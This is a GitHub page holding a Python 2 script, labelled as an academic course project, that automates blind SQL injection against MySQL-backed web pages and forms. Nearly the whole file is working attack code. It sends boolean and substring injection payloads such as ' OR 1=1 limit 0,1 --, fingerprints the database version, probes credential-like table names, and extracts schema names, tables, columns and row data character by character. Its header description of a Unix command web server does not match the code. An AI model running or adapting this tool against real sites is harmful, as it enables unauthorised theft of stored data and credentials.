-
Notifications
You must be signed in to change notification settings - Fork 2
/
ExtractDataUsingBlindSqlInjection.py
583 lines (528 loc) · 27.1 KB
/
ExtractDataUsingBlindSqlInjection.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
#!/usr/bin/env python
#=========================================================================
# IMPORTANT : File for academic project for Final Project
# for course CSE545
# Category : Academic project
# Source Name : ExtractDataUsingBlindSqlInjection.py
# Type : Python File
# Description : This program will create a Web Server to execute
# Unix command on Server Machine
# Author : Varun Gaur & Shreyas talele
#
# ***************Version***************
#
# Version Author Date Reason
# 0.1 Varun Gaur & Shreyas talele 29-April-2016 Original
#=========================================================================
import sys
import urllib2, urllib
import time
def GetLength(path,data):
data=urllib.urlencode(data)
req=urllib2.Request(path, data)
req.add_header("Content-type", "application/x-www-form-urlencoded")
page=urllib2.urlopen(req).read()
return page;
def GetLengthForUrlVuln(path,data):
data=urllib.urlencode(data)
req=urllib2.Request(path, data)
req.add_header("Content-type", "application/x-www-form-urlencoded")
page=urllib2.urlopen(req).read()
return page;
try:
exploitMode = int(input("Enter exploit mode [1. for GET (Query String Based) 2. for POST (Form based) - (Default: 1): "))
except :
exploitMode = 1
print "Oops! That was no valid number. GET Mode Selected !!\n"
if (exploitMode == 1):
try:
getBaseVulnUrl = raw_input("Enter vulnerable URL (Ensure ID are provided): ")
except :
print "Vulnerable URL not provided. Exiting the process !!\n"
#exit(2)
else:
try:
postVulnUrl = raw_input("Enter Vulnerable URL: ")
#postPayLoad = int(input("Enter key data: \n"))
except :
print "Oops! Expected Vulnerable URL and Payload Data not provided. Exiting the process !!\n"
exit(2)
if (exploitMode == 1):
data = ""
getVulnUrl = getBaseVulnUrl + " AND 1=1 limit 0,1"
page = GetLengthForUrlVuln (getVulnUrl,data)
trueLength = str(len(GetLengthForUrlVuln (getVulnUrl,data)))
getVulnUrl = getBaseVulnUrl + " AND 1=2 limit 0,1"
falseLength = str(len(GetLengthForUrlVuln (getVulnUrl,data)))
if (trueLength == falseLength):
print "Failure and Success scenario resulting similar Web behavior. Hence extraction terminated !!!"
exit(2)
version=" and substring(@@version,{0},{1})={2} limit 0,1 -- "
getVulnUrl = getBaseVulnUrl + version
foundVersion = False;
versionString = "";
for i in range(2,9):
getVulnUrl = getBaseVulnUrl + version.format(str(1),str(1),str(i))
page = GetLengthForUrlVuln (getVulnUrl,data)
if str(len(page)) == trueLength:
foundVersion = True
versionString =str(i)
break
if foundVersion == False :
getVulnUrl = getBaseVulnUrl + version.format(str(1),str(2),str(10))
page = GetLengthForUrlVuln (getVulnUrl,data)
if str(len(page)) == trueLength:
foundVersion = True
versionString = str(10)
else :
getVulnUrl = getBaseVulnUrl + version.format(str(1),str(2),str(11))
page = GetLengthForUrlVuln (getVulnUrl,data)
if str(len(page)) == trueLength:
foundVersion = True
versionString = str(11)
else:
print "Not Found"
exit(2)
print "\n**** DB Version: " + versionString + ".x.x ******"
print ""
print "-------------------------DATA EXTRACTION INITIATED-------------------------"
print ""
try:
print "(Provide Schema (Database) details from which data need to be extracted.)"
schmOpt = int(input("[1] User Input Schema Name\n[2] Current Schema\n[3] DB-Catalog Schema\nSelect an option: "))
except :
schmOpt = 3
print "Improper schema details provided. Proceeding with option [3]\n"
if (schmOpt == 1):
try:
schmName = raw_input("Enter Schema Name: ")
except:
schmOpt = 3
print "Improper schema details provided. Proceeding with option [3]\n"
if (schmOpt == 3):
schmName = "information_schema"
if (schmOpt == 2):
searchSchemaName =" AND ascii(substring((select database() from dual limit 0,1),{0},1)) = {1} limit 0,1 -- "
#searchTableName =" AND ascii(substring((select concat(table_name) from information_schema.tables limit {0},1),{1},1)) = {2} limit 0,1 #"
foundFlag = False
brutSchemaName = ''
for i in range(1,64):
for k in range(48,128):
foundFlag = False
fstStr = searchSchemaName.format(i,k)
getVulnUrl = getBaseVulnUrl + fstStr
page = GetLengthForUrlVuln(getVulnUrl,data)
if str(len(page)) == trueLength:
brutSchemaName = brutSchemaName + chr(k)
foundFlag = True
break
if (foundFlag == False):
break
schmName = brutSchemaName
print "\n*** Schema (Database) selected for extraction: ["+schmName+ "]"
print "\nTrying to extract common tables from MySql"
## Code for checking the common Tables of MySQL
#commTables = ['users', 'files','usr', 'user_name', 'password', 'pass', 'passwd', 'pwd']
commTables = ['']
opTable = []
for cTable in commTables:
fstStr = " and (select 1 from "+schmName+"." + cTable + " limit 0,1) = 1 limit 0,1 -- "
getVulnUrl = getBaseVulnUrl + fstStr
page = GetLengthForUrlVuln(getVulnUrl,data)
if str(len(page)) == trueLength:
opTable.append(cTable)
print "Common tables extracted: "+ str(opTable)
# ## Code for checking the common Tables ends
# ## Code for checking the User Provided Tables of MySQL
# ## IMP*** reqTableName has to be some argument !!!!!
## Code for checking the User Provided Tables of MySQL Ends !!!!!
tableNo = 10
try:
tableNo = int(input("Enter no of Tables you want to extract - (Default: 10): "))
except :
tableNo = 10
print "Oops! That was no valid number. Extracting 10 Tables\n"
print "Thanks. Wait Now..!"
print "\nTable Names: ",
searchTableName =" AND ascii(substring((select concat(table_name) from information_schema.tables where table_schema = '"+ schmName + "' limit {0},1),{1},1)) {2} {3} limit 0,1 # "
foundFlag = False
for p in range(0,tableNo):
# begin = time.time()
foundFlag = False
atleastOne = True
brutTableName = ''
for i in range(1,64):
foundFlag = False
low = 48
high = 128
mid = (high + low) / 2
fstStr = searchTableName.format(p,i,"=",mid)
getVulnUrl = getBaseVulnUrl + fstStr
page = GetLengthForUrlVuln(getVulnUrl,data)
if str(len(page)) == trueLength:
brutTableName = brutTableName + chr(mid)
foundFlag = True
print chr(mid),
continue
else:
fstStr = searchTableName.format(p,i,"<",mid)
getVulnUrl = getBaseVulnUrl + fstStr
page = GetLengthForUrlVuln(getVulnUrl,data)
if str(len(page)) == trueLength:
low = low
high = mid
else:
low = mid
high = high
for k in range(low,high):
mid = (high + low)/2
fstStr = searchTableName.format(p,i,"=",mid)
getVulnUrl = getBaseVulnUrl + fstStr
page = GetLengthForUrlVuln(getVulnUrl,data)
if str(len(page)) == trueLength:
brutTableName = brutTableName + chr(mid)
foundFlag = True
print chr(mid),
break
else:
fstStr = searchTableName.format(p,i,"<",mid)
getVulnUrl = getBaseVulnUrl + fstStr
page = GetLengthForUrlVuln(getVulnUrl,data)
if str(len(page)) == trueLength:
low = low
high = mid
else:
low = mid
high = high
if(high <= low):
atleastOne = False
break
if (atleastOne == False):
opTable.append(brutTableName)
print ",",
break
columnNo = 4096
try:
columnNo = int(input("\n\nEnter no of Columns you want to extract - (Default: 4096): "))
except :
columnNo = 4096
print "Oops! That was no valid number. Extracting 4096 columns\n"
print "Thanks. Wait Now..!"
#searchColumnName =" AND ascii(substring((select concat(table_name) from information_schema.tables where table_schema = '"+ schmName + "' limit {0},1),{1},1)) = {2} limit 0,1 # "
searchColumnName =" AND ascii(substring((select concat(column_name) from information_schema.columns where table_name='{0}' and table_schema = '"+schmName+"' limit {3},1),{1},1)) {4} {2} limit 0,1 # "
tableColumnDict = {}
for j in opTable:
columnNames = []
anotherCol = True
print "\nColumnNames for Table ["+j+"]: ",
for l in range(0,columnNo):
if(anotherCol):
foundFlag = True
anotherCol = False
columnName = ""
atleastOne = True
for i in range(1,64):
if(foundFlag):
low = 48
high = 128
mid = (high + low) / 2
foundFlag = False
fstStr = searchColumnName.format(j,i,mid,l,"=")
getVulnUrl = getBaseVulnUrl + fstStr
page = GetLengthForUrlVuln(getVulnUrl,data)
if str(len(page)) == trueLength:
columnName = columnName + chr(mid)
print chr(mid),
foundFlag = True
anotherCol = True
continue
else:
fstStr = searchColumnName.format(j,i,mid,l,"<")
getVulnUrl = getBaseVulnUrl + fstStr
page = GetLengthForUrlVuln(getVulnUrl,data)
if str(len(page)) == trueLength:
low = low
high = mid
else:
low = mid
high = high
for k in range(low,high):
mid = (high + low)/2
fstStr = searchColumnName.format(j,i,mid,l,"=")
getVulnUrl = getBaseVulnUrl + fstStr
page = GetLengthForUrlVuln(getVulnUrl,data)
if str(len(page)) == trueLength:
columnName = columnName + chr(mid)
print chr(mid),
foundFlag = True
anotherCol = True
break
else:
fstStr = searchColumnName.format(j,i,mid,l,"<")
getVulnUrl = getBaseVulnUrl + fstStr
page = GetLengthForUrlVuln(getVulnUrl,data)
if str(len(page)) == trueLength:
low = low
high = mid
else:
low = mid
high = high
if(high <= low):
atleastOne = False
break
if (atleastOne == False):
columnNames.append(columnName)
print ",",
break
else :
if columnName != "":
columnNames.append(columnName)
print ",",
break
tableColumnDict[j] = columnNames
else:
print ",",
break;
searchDataName =" AND ascii(substring((select concat({0}) from " +schmName+ ".{1} limit {2},1),{3},1)) = {4} limit 0,1 # "
for keyInDict in tableColumnDict:
columnNames = []
columnNames = tableColumnDict[keyInDict]
for column in columnNames:
anotherRow = True
for row in range(0,1000):
if(anotherRow):
columnVal = ""
found = True
anotherRow = False
for val in range(1, 65535):
if (found):
found = False
for k in range(48,128):
fstStr = searchDataName.format(column,keyInDict,row,val,k)
getVulnUrl = getBaseVulnUrl + fstStr
page = GetLengthForUrlVuln(getVulnUrl,data)
if str(len(page)) == trueLength:
columnVal = columnVal + chr(k)
found = True
anotherRow = True
break
else:
if(columnVal != ""):
print "\tTable :"+keyInDict+", Column: "+ column +", Data: " + columnVal
break
else:
break;
else:
try:
noOfFormVar = int(input("Enter number of form variables present: "))
except:
noOfFormVar = 2
print "Improper schema details provided. Proceeding with [2]\n"
inputListData = []
for u in range(0,noOfFormVar):
try:
var1 = raw_input("Enter form Variable Name ["+str(u+1)+"]: ")
val1 = raw_input("Enter form Variable Value ["+str(u+1)+"]: ")
inputListData.append((var1,val1))
except:
print "Improper schema details provided. Exiting program!!\n"
exit(2)
print "Entered form variables are : ",
for u in range(0,noOfFormVar):
print "["+str(u+1)+"]" +inputListData[u][0],
print ",",
try:
vulnFormVar = int(input("\nPlease provide the vulnerable form Variable Name: "))
except:
print "Improper schema details provided. Exiting program!!\n"
exit(2)
newVal = " ' OR 1=1 limit 0,1 -- "
inputListData[vulnFormVar-1] = (inputListData[vulnFormVar-1][0],newVal)
trueLength = str(len(GetLength (postVulnUrl,inputListData)))
#falseData=[('name'," ' OR 1=2 limit 0,1 -- "),('submitaccess','true') ]
newVal = " ' OR 1=2 limit 0,1 -- "
inputListData[vulnFormVar-1] = (inputListData[vulnFormVar-1][0],newVal)
falseLength = str(len(GetLength (postVulnUrl,inputListData)))
if (trueLength == falseLength):
print "Failure and Success scenario resulting similar Web behavior. Hence extraction terminated !!!"
exit(2)
version=" ' OR substring(@@version,{0},{1})={2} limit 0,1 -- "
foundVersion = False;
versionString = "";
for i in range(2,9):
#myData=[('name',version.format(str(1),str(1),str(i))) ,('submitaccess','true')]
newVal = version.format(str(1),str(1),str(i))
inputListData[vulnFormVar-1] = (inputListData[vulnFormVar-1][0],newVal)
page = GetLength(postVulnUrl,inputListData)
if str(len(page)) == trueLength:
foundVersion = True
versionString =str(i)
break;
if foundVersion == False :
newVal = version.format(str(1),str(2),str(10))
inputListData[vulnFormVar-1] = (inputListData[vulnFormVar-1][0],newVal)
page = GetLength(postVulnUrl,inputListData)
if str(len(page)) == trueLength:
foundVersion = True
versionString = str(10)
else :
newVal = version.format(str(1),str(2),str(11))
inputListData[vulnFormVar-1] = (inputListData[vulnFormVar-1][0],newVal)
page = GetLength(postVulnUrl,inputListData)
if str(len(page)) == trueLength:
foundVersion = True
versionString = str(11)
else:
print "Not Found"
exit(2)
print "\n**** DB Version: " + versionString + ".x.x ******"
print ""
print "-------------------------DATA EXTRACTION INITIATED-------------------------"
print ""
try:
print "(Provide Schema (Database) details from which data need to be extracted.)"
schmOpt = int(input("[1] User Input Schema Name\n[2] Current Schema\n[3] DB-Catalog Schema\nSelect an option: "))
except :
schmOpt = 3
print "Improper schema details provided. Proceeding with option [3]\n"
if (schmOpt == 1):
try:
schmName = raw_input("Enter Schema Name: ")
except:
schmOpt = 3
print "Improper schema details provided. Proceeding with option [3]\n"
if (schmOpt == 3):
schmName = "information_schema"
if (schmOpt == 2):
searchSchemaName =" ' OR ascii(substring((select database() from dual limit 0,1),{0},1)) = {1} limit 0,1 -- "
foundFlag = False
brutSchemaName = ''
for i in range(1,64):
for k in range(48,128):
foundFlag = False
newVal = searchSchemaName.format(i,k)
inputListData[vulnFormVar-1] = (inputListData[vulnFormVar-1][0],newVal)
page = GetLength(postVulnUrl,inputListData)
if str(len(page)) == trueLength:
brutSchemaName = brutSchemaName + chr(k)
foundFlag = True
break
if (foundFlag == False):
break
schmName = brutSchemaName
print "\n*** Schema (Database) selected for extraction: ["+schmName+ "]"
## Code for checking the common Tables of MySQL
print "Trying to extract data from some common MySql tables !!! \n"
commTables = ['username', 'user', 'file','usr', 'user_name', 'password', 'pass', 'passwd', 'pwd']
opTable = []
for cTable in commTables:
newVal = " ' or (select 1 from "+schmName+ "." + cTable + " limit 0,1) = 1 # "
inputListData[vulnFormVar-1] = (inputListData[vulnFormVar-1][0],newVal)
page = GetLength(postVulnUrl,inputListData)
if trueLength == str(len(page)):
opTable.append(cTable)
## Code for checking the common Tables ends
## Code for checking the User Provided Tables of MySQL
## IMP*** reqTableName has to be some argument !!!!!
print "Common tables extracted: "+ str(opTable)
## Code for checking the User Provided Tables of MySQL Ends !!!!!
tableNo = 10
try:
tableNo = int(input("Enter no of Tables you want to extract - (Default: 10)\n"))
except :
tableNo = 10
print "Oops! That was no valid number. Extracting 10 Tables\n"
print "Thanks. Wait Now..!"
searchTableName =" ' or ascii(substring((select concat(table_name) from information_schema.tables where table_schema = '"+schmName+"' limit {0},1),{1},1)) = {2} limit 0,1 # "
foundFlag = False
brutTableName = ''
print "Tables extracted: ",
for p in range(0,tableNo):
for i in range(1,64):
for k in range(48,128):
foundFlag = False
newVal = searchTableName.format(p,i,k)
inputListData[vulnFormVar-1] = (inputListData[vulnFormVar-1][0],newVal)
page = GetLength(postVulnUrl,inputListData)
if str(len(page)) == trueLength:
brutTableName = brutTableName + chr(k)
print chr(k),
foundFlag = True
break
if (foundFlag == False):
break
print ",",
opTable.append(brutTableName)
brutTableName = ''
# print "Tables extracted: "+ str(opTable)
columnNo = 4096
try:
columnNo = int(input("\n\nEnter no of Columns you want to extract - (Default: 4096): "))
except :
columnNo = 4096
print "Oops! That was no valid number. Extracting 4096 columns\n"
print "Thanks. Wait Now..!"
searchColumnName =" ' or ascii(substring((select concat(column_name) from information_schema.columns where table_name='{0}' and table_schema = '"+schmName+"' limit {3},1),{1},1)) = {2} limit 0,1 # "
tableColumnDict = {}
for j in opTable:
columnNames = []
anotherCol = True
print "\nColumnNames for Table ["+j+"]: ",
for l in range(0,columnNo):
if(anotherCol):
foundFlag = True
anotherCol = False
columnName = ""
for i in range(1,64):
if(foundFlag):
foundFlag = False
for k in range(48,128):
newVal = searchColumnName.format(j,i,k,l)
inputListData[vulnFormVar-1] = (inputListData[vulnFormVar-1][0],newVal)
page = GetLength(postVulnUrl,inputListData)
if str(len(page)) == trueLength:
columnName = columnName + chr(k)
print chr(k),
foundFlag = True
anotherCol = True
break
else :
if columnName != "":
columnNames.append(columnName)
print ",",
break
tableColumnDict[j] = columnNames
else:
break;
#print "ColumnNames: \n" + str(tableColumnDict)
searchDataName =" ' or ascii(substring((select concat({0}) from "+schmName+".{1} limit {2},1),{3},1)) = {4} #"
for keyInDict in tableColumnDict:
columnNames = []
columnNames = tableColumnDict[keyInDict]
for column in columnNames:
anotherRow = True
for row in range(0,1000):
if(anotherRow):
columnVal = ""
found = True
anotherRow = False
for val in range(1, 65535):
if (found):
found = False
for k in range(48,128):
newVal = searchDataName.format(column,keyInDict,row,val,k)
inputListData[vulnFormVar-1] = (inputListData[vulnFormVar-1][0],newVal)
page = GetLength(postVulnUrl,inputListData)
if str(len(page)) == trueLength:
columnVal = columnVal + chr(k)
# print chr(k),
found = True
anotherRow = True
break
else:
if(columnVal != ""):
print "\n\tTable :"+keyInDict+", Column: "+ column +", Data: " + columnVal
# print ",",
break
else:
break;